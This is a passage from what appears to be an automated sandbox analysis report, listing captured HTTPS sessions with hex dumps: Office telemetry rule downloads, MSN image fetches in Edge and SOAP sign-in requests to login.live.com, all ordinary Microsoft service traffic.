xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:50 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:50 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_BL2 x-ms-request-id: f27f6878-03d8-4636-b63a-b323fa72c95d PPServer: PPV: 30 H: BL02EPF0001D7A2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:49 GMT Connection: close Content-Length: 11389
2024-11-22 22:06:50 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:50 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:51 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220651Z-178bfbc474bpnd5vhC1NYC4vr400000003e000000000u4ve x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:50 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:51 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220651Z-178bfbc474btrnf9hC1NYCb80g00000003u0000000001prq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:51 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	49915	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:50 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:51 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=149858 Expires: Sun, 24 Nov 2024 15:44:29 GMT Date: Fri, 22 Nov 2024 22:06:51 GMT Connection: close
2024-11-22 22:06:51 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:50 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 957844e9-801e-008c-4868-3b7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220651Z-178bfbc474b9fdhphC1NYCac0n00000003e000000000ktmb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:50 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:51 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: c700c3f3-301e-0000-760a-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220651Z-178bfbc474bfw4gbhC1NYCunf400000003f000000000td47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:51 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:51 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:51 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:51 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220651Z-174c587ffdfdwxdvhC1TEB1c4n000000020g000000005ucn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:51 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	49916	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-22 22:06:52 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:53 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:52 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_BL2 x-ms-request-id: 925333e6-045e-4283-aac0-0f7bb4d7c8f1 PPServer: PPV: 30 H: BL02EPF0001D77D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:53 GMT Connection: close Content-Length: 11409
2024-11-22 22:06:53 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	49921	104.117.182.18	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:52 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:53 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=148783 Expires: Sun, 24 Nov 2024 15:26:35 GMT Date: Fri, 22 Nov 2024 22:06:52 GMT Connection: close
2024-11-22 22:06:53 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	49917	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:52 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-22 22:06:52 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:53 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:53 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: ac4323e9-da55-43f7-b593-703c787c5904 PPServer: PPV: 30 H: PH1PEPF00011F76 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:52 GMT Connection: close Content-Length: 1918
2024-11-22 22:06:53 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
